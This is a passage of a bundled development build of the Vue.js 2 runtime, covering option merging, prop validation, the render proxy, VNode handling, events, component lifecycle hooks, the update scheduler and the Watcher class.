for (var key in options.components) {
var lower = key.toLowerCase();
if (isBuiltInTag(lower) || config.isReservedTag(lower)) {
warn('Do not use built-in or reserved HTML elements as component ' + 'id: ' + key);
}
}
}
/**
* Ensure all props option syntax are normalized into the
* Object-based format.
*/
function normalizeProps(options) {
var props = options.props;
if (!props) {
return;
}
var res = {};
var i, val, name;
if (Array.isArray(props)) {
i = props.length;
while (i--) {
val = props[i];
if (typeof val === 'string') {
name = camelize(val);
res[name] = { type: null };
} else if (true) {
warn('props must be strings when using array syntax.');
}
}
} else if (isPlainObject(props)) {
for (var key in props) {
val = props[key];
name = camelize(key);
res[name] = isPlainObject(val) ? val : { type: val };
}
}
options.props = res;
}
/**
* Normalize raw function directives into object format.
*/
function normalizeDirectives(options) {
var dirs = options.directives;
if (dirs) {
for (var key in dirs) {
var def = dirs[key];
if (typeof def === 'function') {
dirs[key] = { bind: def, update: def };
}
}
}
}
/**
* Merge two option objects into a new one.
* Core utility used in both instantiation and inheritance.
*/
function mergeOptions(parent, child, vm) {
if (true) {
checkComponents(child);
}
if (typeof child === 'function') {
child = child.options;
}
normalizeProps(child);
normalizeDirectives(child);
var extendsFrom = child.extends;
if (extendsFrom) {
parent = mergeOptions(parent, extendsFrom, vm);
}
if (child.mixins) {
for (var i = 0, l = child.mixins.length; i < l; i++) {
parent = mergeOptions(parent, child.mixins[i], vm);
}
}
var options = {};
var key;
for (key in parent) {
mergeField(key);
}
for (key in child) {
if (!hasOwn(parent, key)) {
mergeField(key);
}
}
function mergeField(key) {
var strat = strats[key] || defaultStrat;
options[key] = strat(parent[key], child[key], vm, key);
}
return options;
}
/**
* Resolve an asset.
* This function is used because child instances need access
* to assets defined in its ancestor chain.
*/
function resolveAsset(options, type, id, warnMissing) {
/* istanbul ignore if */
if (typeof id !== 'string') {
return;
}
var assets = options[type];
// check local registration variations first
if (hasOwn(assets, id)) {
return assets[id];
}
var camelizedId = camelize(id);
if (hasOwn(assets, camelizedId)) {
return assets[camelizedId];
}
var PascalCaseId = capitalize(camelizedId);
if (hasOwn(assets, PascalCaseId)) {
return assets[PascalCaseId];
}
// fallback to prototype chain
var res = assets[id] || assets[camelizedId] || assets[PascalCaseId];
if ("development" !== 'production' && warnMissing && !res) {
warn('Failed to resolve ' + type.slice(0, -1) + ': ' + id, options);
}
return res;
}
/* */
function validateProp(key, propOptions, propsData, vm) {
var prop = propOptions[key];
var absent = !hasOwn(propsData, key);
var value = propsData[key];
// handle boolean props
if (isType(Boolean, prop.type)) {
if (absent && !hasOwn(prop, 'default')) {
value = false;
} else if (!isType(String, prop.type) && (value === '' || value === hyphenate(key))) {
value = true;
}
}
// check default value
if (value === undefined) {
value = getPropDefaultValue(vm, prop, key);
// since the default value is a fresh copy,
// make sure to observe it.
var prevShouldConvert = observerState.shouldConvert;
observerState.shouldConvert = true;
observe(value);
observerState.shouldConvert = prevShouldConvert;
}
if (true) {
assertProp(prop, key, value, vm, absent);
}
return value;
}
/**
* Get the default value of a prop.
*/
function getPropDefaultValue(vm, prop, key) {
// no default, return undefined
if (!hasOwn(prop, 'default')) {
return undefined;
}
var def = prop.default;
// warn against non-factory defaults for Object & Array
if ("development" !== 'production' && isObject(def)) {
warn('Invalid default value for prop "' + key + '": ' + 'Props with type Object/Array must use a factory function ' + 'to return the default value.', vm);
}
// the raw prop value was also undefined from previous render,
// return previous default value to avoid unnecessary watcher trigger
if (vm && vm.$options.propsData && vm.$options.propsData[key] === undefined && vm._props[key] !== undefined) {
return vm._props[key];
}
// call factory function for non-Function types
// a value is Function if its prototype is function even across different execution context
return typeof def === 'function' && getType(prop.type) !== 'Function' ? def.call(vm) : def;
}
/**
* Assert whether a prop is valid.
*/
function assertProp(prop, name, value, vm, absent) {
if (prop.required && absent) {
warn('Missing required prop: "' + name + '"', vm);
return;
}
if (value == null && !prop.required) {
return;
}
var type = prop.type;
var valid = !type || type === true;
var expectedTypes = [];
if (type) {
if (!Array.isArray(type)) {
type = [type];
}
for (var i = 0; i < type.length && !valid; i++) {
var assertedType = assertType(value, type[i]);
expectedTypes.push(assertedType.expectedType || '');
valid = assertedType.valid;
}
}
if (!valid) {
warn('Invalid prop: type check failed for prop "' + name + '".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);
return;
}
var validator = prop.validator;
if (validator) {
if (!validator(value)) {
warn('Invalid prop: custom validator check failed for prop "' + name + '".', vm);
}
}
}
var simpleCheckRE = /^(String|Number|Boolean|Function|Symbol)$/;
function assertType(value, type) {
var valid;
var expectedType = getType(type);
if (simpleCheckRE.test(expectedType)) {
valid = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === expectedType.toLowerCase();
} else if (expectedType === 'Object') {
valid = isPlainObject(value);
} else if (expectedType === 'Array') {
valid = Array.isArray(value);
} else {
valid = value instanceof type;
}
return {
valid: valid,
expectedType: expectedType
};
}
/**
* Use function string name to check built-in types,
* because a simple equality check will fail when running
* across different vms / iframes.
*/
function getType(fn) {
var match = fn && fn.toString().match(/^\s*function (\w+)/);
return match ? match[1] : '';
}
function isType(type, fn) {
if (!Array.isArray(fn)) {
return getType(fn) === getType(type);
}
for (var i = 0, len = fn.length; i < len; i++) {
if (getType(fn[i]) === getType(type)) {
return true;
}
}
/* istanbul ignore next */
return false;
}
/* */
var mark;
var measure;
if (true) {
var perf = inBrowser && window.performance;
/* istanbul ignore if */
if (perf && perf.mark && perf.measure && perf.clearMarks && perf.clearMeasures) {
mark = function mark(tag) {
return perf.mark(tag);
};
measure = function measure(name, startTag, endTag) {
perf.measure(name, startTag, endTag);
perf.clearMarks(startTag);
perf.clearMarks(endTag);
perf.clearMeasures(name);
};
}
}
/* not type checking this file because flow doesn't play well with Proxy */
var initProxy;
if (true) {
var allowedGlobals = makeMap('Infinity,undefined,NaN,isFinite,isNaN,' + 'parseFloat,parseInt,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,' + 'Math,Number,Date,Array,Object,Boolean,String,RegExp,Map,Set,JSON,Intl,' + 'require' // for Webpack/Browserify
);
var warnNonPresent = function warnNonPresent(target, key) {
warn("Property or method \"" + key + "\" is not defined on the instance but " + "referenced during render. Make sure to declare reactive data " + "properties in the data option.", target);
};
var hasProxy = typeof Proxy !== 'undefined' && Proxy.toString().match(/native code/);
if (hasProxy) {
var isBuiltInModifier = makeMap('stop,prevent,self,ctrl,shift,alt,meta');
config.keyCodes = new Proxy(config.keyCodes, {
set: function set(target, key, value) {
if (isBuiltInModifier(key)) {
warn("Avoid overwriting built-in modifier in config.keyCodes: ." + key);
return false;
} else {
target[key] = value;
return true;
}
}
});
}
var hasHandler = {
has: function has(target, key) {
var has = key in target;
var isAllowed = allowedGlobals(key) || key.charAt(0) === '_';
if (!has && !isAllowed) {
warnNonPresent(target, key);
}
return has || !isAllowed;
}
};
var getHandler = {
get: function get(target, key) {
if (typeof key === 'string' && !(key in target)) {
warnNonPresent(target, key);
}
return target[key];
}
};
initProxy = function initProxy(vm) {
if (hasProxy) {
// determine which proxy handler to use
var options = vm.$options;
var handlers = options.render && options.render._withStripped ? getHandler : hasHandler;
vm._renderProxy = new Proxy(vm, handlers);
} else {
vm._renderProxy = vm;
}
};
}
/* */
var VNode = function VNode(tag, data, children, text, elm, context, componentOptions) {
this.tag = tag;
this.data = data;
this.children = children;
this.text = text;
this.elm = elm;
this.ns = undefined;
this.context = context;
this.functionalContext = undefined;
this.key = data && data.key;
this.componentOptions = componentOptions;
this.componentInstance = undefined;
this.parent = undefined;
this.raw = false;
this.isStatic = false;
this.isRootInsert = true;
this.isComment = false;
this.isCloned = false;
this.isOnce = false;
};
var prototypeAccessors = { child: {} };
// DEPRECATED: alias for componentInstance for backwards compat.
/* istanbul ignore next */
prototypeAccessors.child.get = function () {
return this.componentInstance;
};
Object.defineProperties(VNode.prototype, prototypeAccessors);
var createEmptyVNode = function createEmptyVNode() {
var node = new VNode();
node.text = '';
node.isComment = true;
return node;
};
function createTextVNode(val) {
return new VNode(undefined, undefined, undefined, String(val));
}
// optimized shallow clone
// used for static nodes and slot nodes because they may be reused across
// multiple renders, cloning them avoids errors when DOM manipulations rely
// on their elm reference.
function cloneVNode(vnode) {
var cloned = new VNode(vnode.tag, vnode.data, vnode.children, vnode.text, vnode.elm, vnode.context, vnode.componentOptions);
cloned.ns = vnode.ns;
cloned.isStatic = vnode.isStatic;
cloned.key = vnode.key;
cloned.isComment = vnode.isComment;
cloned.isCloned = true;
return cloned;
}
function cloneVNodes(vnodes) {
var len = vnodes.length;
var res = new Array(len);
for (var i = 0; i < len; i++) {
res[i] = cloneVNode(vnodes[i]);
}
return res;
}
/* */
var normalizeEvent = cached(function (name) {
var passive = name.charAt(0) === '&';
name = passive ? name.slice(1) : name;
var once$$1 = name.charAt(0) === '~'; // Prefixed last, checked first
name = once$$1 ? name.slice(1) : name;
var capture = name.charAt(0) === '!';
name = capture ? name.slice(1) : name;
return {
name: name,
once: once$$1,
capture: capture,
passive: passive
};
});
function createFnInvoker(fns) {
function invoker() {
var arguments$1 = arguments;
var fns = invoker.fns;
if (Array.isArray(fns)) {
for (var i = 0; i < fns.length; i++) {
fns[i].apply(null, arguments$1);
}
} else {
// return handler return value for single handlers
return fns.apply(null, arguments);
}
}
invoker.fns = fns;
return invoker;
}
function updateListeners(on, oldOn, add, remove$$1, vm) {
var name, cur, old, event;
for (name in on) {
cur = on[name];
old = oldOn[name];
event = normalizeEvent(name);
if (isUndef(cur)) {
"development" !== 'production' && warn("Invalid handler for event \"" + event.name + "\": got " + String(cur), vm);
} else if (isUndef(old)) {
if (isUndef(cur.fns)) {
cur = on[name] = createFnInvoker(cur);
}
add(event.name, cur, event.once, event.capture, event.passive);
} else if (cur !== old) {
old.fns = cur;
on[name] = old;
}
}
for (name in oldOn) {
if (isUndef(on[name])) {
event = normalizeEvent(name);
remove$$1(event.name, oldOn[name], event.capture);
}
}
}
/* */
function mergeVNodeHook(def, hookKey, hook) {
var invoker;
var oldHook = def[hookKey];
function wrappedHook() {
hook.apply(this, arguments);
// important: remove merged hook to ensure it's called only once
// and prevent memory leak
remove(invoker.fns, wrappedHook);
}
if (isUndef(oldHook)) {
// no existing hook
invoker = createFnInvoker([wrappedHook]);
} else {
/* istanbul ignore if */
if (isDef(oldHook.fns) && isTrue(oldHook.merged)) {
// already a merged invoker
invoker = oldHook;
invoker.fns.push(wrappedHook);
} else {
// existing plain hook
invoker = createFnInvoker([oldHook, wrappedHook]);
}
}
invoker.merged = true;
def[hookKey] = invoker;
}
/* */
function extractPropsFromVNodeData(data, Ctor, tag) {
// we are only extracting raw values here.
// validation and default values are handled in the child
// component itself.
var propOptions = Ctor.options.props;
if (isUndef(propOptions)) {
return;
}
var res = {};
var attrs = data.attrs;
var props = data.props;
if (isDef(attrs) || isDef(props)) {
for (var key in propOptions) {
var altKey = hyphenate(key);
if (true) {
var keyInLowerCase = key.toLowerCase();
if (key !== keyInLowerCase && attrs && hasOwn(attrs, keyInLowerCase)) {
tip("Prop \"" + keyInLowerCase + "\" is passed to component " + formatComponentName(tag || Ctor) + ", but the declared prop name is" + " \"" + key + "\". " + "Note that HTML attributes are case-insensitive and camelCased " + "props need to use their kebab-case equivalents when using in-DOM " + "templates. You should probably use \"" + altKey + "\" instead of \"" + key + "\".");
}
}
checkProp(res, props, key, altKey, true) || checkProp(res, attrs, key, altKey, false);
}
}
return res;
}
function checkProp(res, hash, key, altKey, preserve) {
if (isDef(hash)) {
if (hasOwn(hash, key)) {
res[key] = hash[key];
if (!preserve) {
delete hash[key];
}
return true;
} else if (hasOwn(hash, altKey)) {
res[key] = hash[altKey];
if (!preserve) {
delete hash[altKey];
}
return true;
}
}
return false;
}
/* */
// The template compiler attempts to minimize the need for normalization by
// statically analyzing the template at compile time.
//
// For plain HTML markup, normalization can be completely skipped because the
// generated render function is guaranteed to return Array<VNode>. There are
// two cases where extra normalization is needed:
// 1. When the children contains components - because a functional component
// may return an Array instead of a single root. In this case, just a simple
// normalization is needed - if any child is an Array, we flatten the whole
// thing with Array.prototype.concat. It is guaranteed to be only 1-level deep
// because functional components already normalize their own children.
function simpleNormalizeChildren(children) {
for (var i = 0; i < children.length; i++) {
if (Array.isArray(children[i])) {
return Array.prototype.concat.apply([], children);
}
}
return children;
}
// 2. When the children contains constructs that always generated nested Arrays,
// e.g. <template>, <slot>, v-for, or when the children is provided by user
// with hand-written render functions / JSX. In such cases a full normalization
// is needed to cater to all possible types of children values.
function normalizeChildren(children) {
return isPrimitive(children) ? [createTextVNode(children)] : Array.isArray(children) ? normalizeArrayChildren(children) : undefined;
}
function isTextNode(node) {
return isDef(node) && isDef(node.text) && isFalse(node.isComment);
}
function normalizeArrayChildren(children, nestedIndex) {
var res = [];
var i, c, last;
for (i = 0; i < children.length; i++) {
c = children[i];
if (isUndef(c) || typeof c === 'boolean') {
continue;
}
last = res[res.length - 1];
// nested
if (Array.isArray(c)) {
res.push.apply(res, normalizeArrayChildren(c, (nestedIndex || '') + "_" + i));
} else if (isPrimitive(c)) {
if (isTextNode(last)) {
// merge adjacent text nodes
// this is necessary for SSR hydration because text nodes are
// essentially merged when rendered to HTML strings
last.text += String(c);
} else if (c !== '') {
// convert primitive to vnode
res.push(createTextVNode(c));
}
} else {
if (isTextNode(c) && isTextNode(last)) {
// merge adjacent text nodes
res[res.length - 1] = createTextVNode(last.text + c.text);
} else {
// default key for nested array children (likely generated by v-for)
if (isTrue(children._isVList) && isDef(c.tag) && isUndef(c.key) && isDef(nestedIndex)) {
c.key = "__vlist" + nestedIndex + "_" + i + "__";
}
res.push(c);
}
}
}
return res;
}
/* */
function ensureCtor(comp, base) {
return isObject(comp) ? base.extend(comp) : comp;
}
function resolveAsyncComponent(factory, baseCtor, context) {
if (isTrue(factory.error) && isDef(factory.errorComp)) {
return factory.errorComp;
}
if (isDef(factory.resolved)) {
return factory.resolved;
}
if (isTrue(factory.loading) && isDef(factory.loadingComp)) {
return factory.loadingComp;
}
if (isDef(factory.contexts)) {
// already pending
factory.contexts.push(context);
} else {
var contexts = factory.contexts = [context];
var sync = true;
var forceRender = function forceRender() {
for (var i = 0, l = contexts.length; i < l; i++) {
contexts[i].$forceUpdate();
}
};
var resolve = once(function (res) {
// cache resolved
factory.resolved = ensureCtor(res, baseCtor);
// invoke callbacks only if this is not a synchronous resolve
// (async resolves are shimmed as synchronous during SSR)
if (!sync) {
forceRender();
}
});
var reject = once(function (reason) {
"development" !== 'production' && warn("Failed to resolve async component: " + String(factory) + (reason ? "\nReason: " + reason : ''));
if (isDef(factory.errorComp)) {
factory.error = true;
forceRender();
}
});
var res = factory(resolve, reject);
if (isObject(res)) {
if (typeof res.then === 'function') {
// () => Promise
if (isUndef(factory.resolved)) {
res.then(resolve, reject);
}
} else if (isDef(res.component) && typeof res.component.then === 'function') {
res.component.then(resolve, reject);
if (isDef(res.error)) {
factory.errorComp = ensureCtor(res.error, baseCtor);
}
if (isDef(res.loading)) {
factory.loadingComp = ensureCtor(res.loading, baseCtor);
if (res.delay === 0) {
factory.loading = true;
} else {
setTimeout(function () {
if (isUndef(factory.resolved) && isUndef(factory.error)) {
factory.loading = true;
forceRender();
}
}, res.delay || 200);
}
}
if (isDef(res.timeout)) {
setTimeout(function () {
if (isUndef(factory.resolved)) {
reject(true ? "timeout (" + res.timeout + "ms)" : null);
}
}, res.timeout);
}
}
}
sync = false;
// return in case resolved synchronously
return factory.loading ? factory.loadingComp : factory.resolved;
}
}
/* */
function getFirstComponentChild(children) {
if (Array.isArray(children)) {
for (var i = 0; i < children.length; i++) {
var c = children[i];
if (isDef(c) && isDef(c.componentOptions)) {
return c;
}
}
}
}
/* */
/* */
function initEvents(vm) {
vm._events = Object.create(null);
vm._hasHookEvent = false;
// init parent attached events
var listeners = vm.$options._parentListeners;
if (listeners) {
updateComponentListeners(vm, listeners);
}
}
var target;
function add(event, fn, once$$1) {
if (once$$1) {
target.$once(event, fn);
} else {
target.$on(event, fn);
}
}
function remove$1(event, fn) {
target.$off(event, fn);
}
function updateComponentListeners(vm, listeners, oldListeners) {
target = vm;
updateListeners(listeners, oldListeners || {}, add, remove$1, vm);
}
function eventsMixin(Vue) {
var hookRE = /^hook:/;
Vue.prototype.$on = function (event, fn) {
var this$1 = this;
var vm = this;
if (Array.isArray(event)) {
for (var i = 0, l = event.length; i < l; i++) {
this$1.$on(event[i], fn);
}
} else {
(vm._events[event] || (vm._events[event] = [])).push(fn);
// optimize hook:event cost by using a boolean flag marked at registration
// instead of a hash lookup
if (hookRE.test(event)) {
vm._hasHookEvent = true;
}
}
return vm;
};
Vue.prototype.$once = function (event, fn) {
var vm = this;
function on() {
vm.$off(event, on);
fn.apply(vm, arguments);
}
on.fn = fn;
vm.$on(event, on);
return vm;
};
Vue.prototype.$off = function (event, fn) {
var this$1 = this;
var vm = this;
// all
if (!arguments.length) {
vm._events = Object.create(null);
return vm;
}
// array of events
if (Array.isArray(event)) {
for (var i$1 = 0, l = event.length; i$1 < l; i$1++) {
this$1.$off(event[i$1], fn);
}
return vm;
}
// specific event
var cbs = vm._events[event];
if (!cbs) {
return vm;
}
if (arguments.length === 1) {
vm._events[event] = null;
return vm;
}
// specific handler
var cb;
var i = cbs.length;
while (i--) {
cb = cbs[i];
if (cb === fn || cb.fn === fn) {
cbs.splice(i, 1);
break;
}
}
return vm;
};
Vue.prototype.$emit = function (event) {
var vm = this;
if (true) {
var lowerCaseEvent = event.toLowerCase();
if (lowerCaseEvent !== event && vm._events[lowerCaseEvent]) {
tip("Event \"" + lowerCaseEvent + "\" is emitted in component " + formatComponentName(vm) + " but the handler is registered for \"" + event + "\". " + "Note that HTML attributes are case-insensitive and you cannot use " + "v-on to listen to camelCase events when using in-DOM templates. " + "You should probably use \"" + hyphenate(event) + "\" instead of \"" + event + "\".");
}
}
var cbs = vm._events[event];
if (cbs) {
cbs = cbs.length > 1 ? toArray(cbs) : cbs;
var args = toArray(arguments, 1);
for (var i = 0, l = cbs.length; i < l; i++) {
cbs[i].apply(vm, args);
}
}
return vm;
};
}
/* */
/**
* Runtime helper for resolving raw children VNodes into a slot object.
*/
function resolveSlots(children, context) {
var slots = {};
if (!children) {
return slots;
}
var defaultSlot = [];
for (var i = 0, l = children.length; i < l; i++) {
var child = children[i];
// named slots should only be respected if the vnode was rendered in the
// same context.
if ((child.context === context || child.functionalContext === context) && child.data && child.data.slot != null) {
var name = child.data.slot;
var slot = slots[name] || (slots[name] = []);
if (child.tag === 'template') {
slot.push.apply(slot, child.children);
} else {
slot.push(child);
}
} else {
defaultSlot.push(child);
}
}
// ignore whitespace
if (!defaultSlot.every(isWhitespace)) {
slots.default = defaultSlot;
}
return slots;
}
function isWhitespace(node) {
return node.isComment || node.text === ' ';
}
function resolveScopedSlots(fns, // see flow/vnode
res) {
res = res || {};
for (var i = 0; i < fns.length; i++) {
if (Array.isArray(fns[i])) {
resolveScopedSlots(fns[i], res);
} else {
res[fns[i].key] = fns[i].fn;
}
}
return res;
}
/* */
var activeInstance = null;
function initLifecycle(vm) {
var options = vm.$options;
// locate first non-abstract parent
var parent = options.parent;
if (parent && !options.abstract) {
while (parent.$options.abstract && parent.$parent) {
parent = parent.$parent;
}
parent.$children.push(vm);
}
vm.$parent = parent;
vm.$root = parent ? parent.$root : vm;
vm.$children = [];
vm.$refs = {};
vm._watcher = null;
vm._inactive = null;
vm._directInactive = false;
vm._isMounted = false;
vm._isDestroyed = false;
vm._isBeingDestroyed = false;
}
function lifecycleMixin(Vue) {
Vue.prototype._update = function (vnode, hydrating) {
var vm = this;
if (vm._isMounted) {
callHook(vm, 'beforeUpdate');
}
var prevEl = vm.$el;
var prevVnode = vm._vnode;
var prevActiveInstance = activeInstance;
activeInstance = vm;
vm._vnode = vnode;
// Vue.prototype.__patch__ is injected in entry points
// based on the rendering backend used.
if (!prevVnode) {
// initial render
vm.$el = vm.__patch__(vm.$el, vnode, hydrating, false /* removeOnly */
, vm.$options._parentElm, vm.$options._refElm);
} else {
// updates
vm.$el = vm.__patch__(prevVnode, vnode);
}
activeInstance = prevActiveInstance;
// update __vue__ reference
if (prevEl) {
prevEl.__vue__ = null;
}
if (vm.$el) {
vm.$el.__vue__ = vm;
}
// if parent is an HOC, update its $el as well
if (vm.$vnode && vm.$parent && vm.$vnode === vm.$parent._vnode) {
vm.$parent.$el = vm.$el;
}
// updated hook is called by the scheduler to ensure that children are
// updated in a parent's updated hook.
};
Vue.prototype.$forceUpdate = function () {
var vm = this;
if (vm._watcher) {
vm._watcher.update();
}
};
Vue.prototype.$destroy = function () {
var vm = this;
if (vm._isBeingDestroyed) {
return;
}
callHook(vm, 'beforeDestroy');
vm._isBeingDestroyed = true;
// remove self from parent
var parent = vm.$parent;
if (parent && !parent._isBeingDestroyed && !vm.$options.abstract) {
remove(parent.$children, vm);
}
// teardown watchers
if (vm._watcher) {
vm._watcher.teardown();
}
var i = vm._watchers.length;
while (i--) {
vm._watchers[i].teardown();
}
// remove reference from data ob
// frozen object may not have observer.
if (vm._data.__ob__) {
vm._data.__ob__.vmCount--;
}
// call the last hook...
vm._isDestroyed = true;
// invoke destroy hooks on current rendered tree
vm.__patch__(vm._vnode, null);
// fire destroyed hook
callHook(vm, 'destroyed');
// turn off all instance listeners.
vm.$off();
// remove __vue__ reference
if (vm.$el) {
vm.$el.__vue__ = null;
}
// remove reference to DOM nodes (prevents leak)
vm.$options._parentElm = vm.$options._refElm = null;
};
}
function mountComponent(vm, el, hydrating) {
vm.$el = el;
if (!vm.$options.render) {
vm.$options.render = createEmptyVNode;
if (true) {
/* istanbul ignore if */
if (vm.$options.template && vm.$options.template.charAt(0) !== '#' || vm.$options.el || el) {
warn('You are using the runtime-only build of Vue where the template ' + 'compiler is not available. Either pre-compile the templates into ' + 'render functions, or use the compiler-included build.', vm);
} else {
warn('Failed to mount component: template or render function not defined.', vm);
}
}
}
callHook(vm, 'beforeMount');
var updateComponent;
/* istanbul ignore if */
if ("development" !== 'production' && config.performance && mark) {
updateComponent = function updateComponent() {
var name = vm._name;
var id = vm._uid;
var startTag = "vue-perf-start:" + id;
var endTag = "vue-perf-end:" + id;
mark(startTag);
var vnode = vm._render();
mark(endTag);
measure(name + " render", startTag, endTag);
mark(startTag);
vm._update(vnode, hydrating);
mark(endTag);
measure(name + " patch", startTag, endTag);
};
} else {
updateComponent = function updateComponent() {
vm._update(vm._render(), hydrating);
};
}
vm._watcher = new Watcher(vm, updateComponent, noop);
hydrating = false;
// manually mounted instance, call mounted on self
// mounted is called for render-created child components in its inserted hook
if (vm.$vnode == null) {
vm._isMounted = true;
callHook(vm, 'mounted');
}
return vm;
}
function updateChildComponent(vm, propsData, listeners, parentVnode, renderChildren) {
// determine whether component has slot children
// we need to do this before overwriting $options._renderChildren
var hasChildren = !!(renderChildren || // has new static slots
vm.$options._renderChildren || // has old static slots
parentVnode.data.scopedSlots || // has new scoped slots
vm.$scopedSlots !== emptyObject // has old scoped slots
);
vm.$options._parentVnode = parentVnode;
vm.$vnode = parentVnode; // update vm's placeholder node without re-render
if (vm._vnode) {
// update child tree's parent
vm._vnode.parent = parentVnode;
}
vm.$options._renderChildren = renderChildren;
// update props
if (propsData && vm.$options.props) {
observerState.shouldConvert = false;
if (true) {
observerState.isSettingProps = true;
}
var props = vm._props;
var propKeys = vm.$options._propKeys || [];
for (var i = 0; i < propKeys.length; i++) {
var key = propKeys[i];
props[key] = validateProp(key, vm.$options.props, propsData, vm);
}
observerState.shouldConvert = true;
if (true) {
observerState.isSettingProps = false;
}
// keep a copy of raw propsData
vm.$options.propsData = propsData;
}
// update listeners
if (listeners) {
var oldListeners = vm.$options._parentListeners;
vm.$options._parentListeners = listeners;
updateComponentListeners(vm, listeners, oldListeners);
}
// resolve slots + force update if has children
if (hasChildren) {
vm.$slots = resolveSlots(renderChildren, parentVnode.context);
vm.$forceUpdate();
}
}
function isInInactiveTree(vm) {
while (vm && (vm = vm.$parent)) {
if (vm._inactive) {
return true;
}
}
return false;
}
function activateChildComponent(vm, direct) {
if (direct) {
vm._directInactive = false;
if (isInInactiveTree(vm)) {
return;
}
} else if (vm._directInactive) {
return;
}
if (vm._inactive || vm._inactive === null) {
vm._inactive = false;
for (var i = 0; i < vm.$children.length; i++) {
activateChildComponent(vm.$children[i]);
}
callHook(vm, 'activated');
}
}
function deactivateChildComponent(vm, direct) {
if (direct) {
vm._directInactive = true;
if (isInInactiveTree(vm)) {
return;
}
}
if (!vm._inactive) {
vm._inactive = true;
for (var i = 0; i < vm.$children.length; i++) {
deactivateChildComponent(vm.$children[i]);
}
callHook(vm, 'deactivated');
}
}
function callHook(vm, hook) {
var handlers = vm.$options[hook];
if (handlers) {
for (var i = 0, j = handlers.length; i < j; i++) {
try {
handlers[i].call(vm);
} catch (e) {
handleError(e, vm, hook + " hook");
}
}
}
if (vm._hasHookEvent) {
vm.$emit('hook:' + hook);
}
}
/* */
var MAX_UPDATE_COUNT = 100;
var queue = [];
var activatedChildren = [];
var has = {};
var circular = {};
var waiting = false;
var flushing = false;
var index = 0;
/**
* Reset the scheduler's state.
*/
function resetSchedulerState() {
index = queue.length = activatedChildren.length = 0;
has = {};
if (true) {
circular = {};
}
waiting = flushing = false;
}
/**
* Flush both queues and run the watchers.
*/
function flushSchedulerQueue() {
flushing = true;
var watcher, id;
// Sort queue before flush.
// This ensures that:
// 1. Components are updated from parent to child. (because parent is always
// created before the child)
// 2. A component's user watchers are run before its render watcher (because
// user watchers are created before the render watcher)
// 3. If a component is destroyed during a parent component's watcher run,
// its watchers can be skipped.
queue.sort(function (a, b) {
return a.id - b.id;
});
// do not cache length because more watchers might be pushed
// as we run existing watchers
for (index = 0; index < queue.length; index++) {
watcher = queue[index];
id = watcher.id;
has[id] = null;
watcher.run();
// in dev build, check and stop circular updates.
if ("development" !== 'production' && has[id] != null) {
circular[id] = (circular[id] || 0) + 1;
if (circular[id] > MAX_UPDATE_COUNT) {
warn('You may have an infinite update loop ' + (watcher.user ? "in watcher with expression \"" + watcher.expression + "\"" : "in a component render function."), watcher.vm);
break;
}
}
}
// keep copies of post queues before resetting state
var activatedQueue = activatedChildren.slice();
var updatedQueue = queue.slice();
resetSchedulerState();
// call component updated and activated hooks
callActivatedHooks(activatedQueue);
callUpdateHooks(updatedQueue);
// devtool hook
/* istanbul ignore if */
if (devtools && config.devtools) {
devtools.emit('flush');
}
}
function callUpdateHooks(queue) {
var i = queue.length;
while (i--) {
var watcher = queue[i];
var vm = watcher.vm;
if (vm._watcher === watcher && vm._isMounted) {
callHook(vm, 'updated');
}
}
}
/**
* Queue a kept-alive component that was activated during patch.
* The queue will be processed after the entire tree has been patched.
*/
function queueActivatedComponent(vm) {
// setting _inactive to false here so that a render function can
// rely on checking whether it's in an inactive tree (e.g. router-view)
vm._inactive = false;
activatedChildren.push(vm);
}
function callActivatedHooks(queue) {
for (var i = 0; i < queue.length; i++) {
queue[i]._inactive = true;
activateChildComponent(queue[i], true /* true */);
}
}
/**
* Push a watcher into the watcher queue.
* Jobs with duplicate IDs will be skipped unless it's
* pushed when the queue is being flushed.
*/
function queueWatcher(watcher) {
var id = watcher.id;
if (has[id] == null) {
has[id] = true;
if (!flushing) {
queue.push(watcher);
} else {
// if already flushing, splice the watcher based on its id
// if already past its id, it will be run next immediately.
var i = queue.length - 1;
while (i > index && queue[i].id > watcher.id) {
i--;
}
queue.splice(i + 1, 0, watcher);
}
// queue the flush
if (!waiting) {
waiting = true;
nextTick(flushSchedulerQueue);
}
}
}
/* */
var uid$2 = 0;
/**
* A watcher parses an expression, collects dependencies,
* and fires callback when the expression value changes.
* This is used for both the $watch() api and directives.
*/
var Watcher = function Watcher(vm, expOrFn, cb, options) {
this.vm = vm;
vm._watchers.push(this);
// options
if (options) {
this.deep = !!options.deep;
this.user = !!options.user;
this.lazy = !!options.lazy;
this.sync = !!options.sync;
} else {
this.deep = this.user = this.lazy = this.sync = false;
}
this.cb = cb;
this.id = ++uid$2; // uid for batching
this.active = true;
this.dirty = this.lazy; // for lazy watchers
this.deps = [];
this.newDeps = [];
this.depIds = new _Set();
this.newDepIds = new _Set();
this.expression = true ? expOrFn.toString() : '';
// parse expression for getter
if (typeof expOrFn === 'function') {
this.getter = expOrFn;
} else {
this.getter = parsePath(expOrFn);
if (!this.getter) {
this.getter = function () {};
"development" !== 'production' && warn("Failed watching path: \"" + expOrFn + "\" " + 'Watcher only accepts simple dot-delimited paths. ' + 'For full control, use a function instead.', vm);
}
}
this.value = this.lazy ? undefined : this.get();
};
/**
* Evaluate the getter, and re-collect dependencies.
*/
Watcher.prototype.get = function get() {
pushTarget(this);
var value;
var vm = this.vm;
if (this.user) {
try {
value = this.getter.call(vm, vm);
} catch (e) {
handleError(e, vm, "getter for watcher \"" + this.expression + "\"");
}
} else {
value = this.getter.call(vm, vm);
}
// "touch" every property so they are all tracked as
// dependencies for deep watching
if (this.deep) {
traverse(value);
}
popTarget();
this.cleanupDeps();
return value;
};
/**
* Add a dependency to this directive.
*/
Watcher.prototype.addDep = function addDep(dep) {
var id = dep.id;
if (!this.newDepIds.has(id)) {
this.newDepIds.add(id);
this.newDeps.push(dep);
if (!this.depIds.has(id)) {
dep.addSub(this);
}
}
};
/**
* Clean up for dependency collection.
*/
Watcher.prototype.cleanupDeps = function cleanupDeps() {
var this$1 = this;
var i = this.deps.length;
while (i--) {
var dep = this$1.deps[i];
if (!this$1.newDepIds.has(dep.id)) {
dep.removeSub(this$1);
}
}
var tmp = this.depIds;
this.depIds = this.newDepIds;
this.newDepIds = tmp;
this.newDepIds.clear();
tmp = this.deps;
this.deps = this.newDeps;
this.newDeps = tmp;
this.newDeps.length = 0;
};
/**
* Subscriber interface.
* Will be called when a dependency changes.
*/
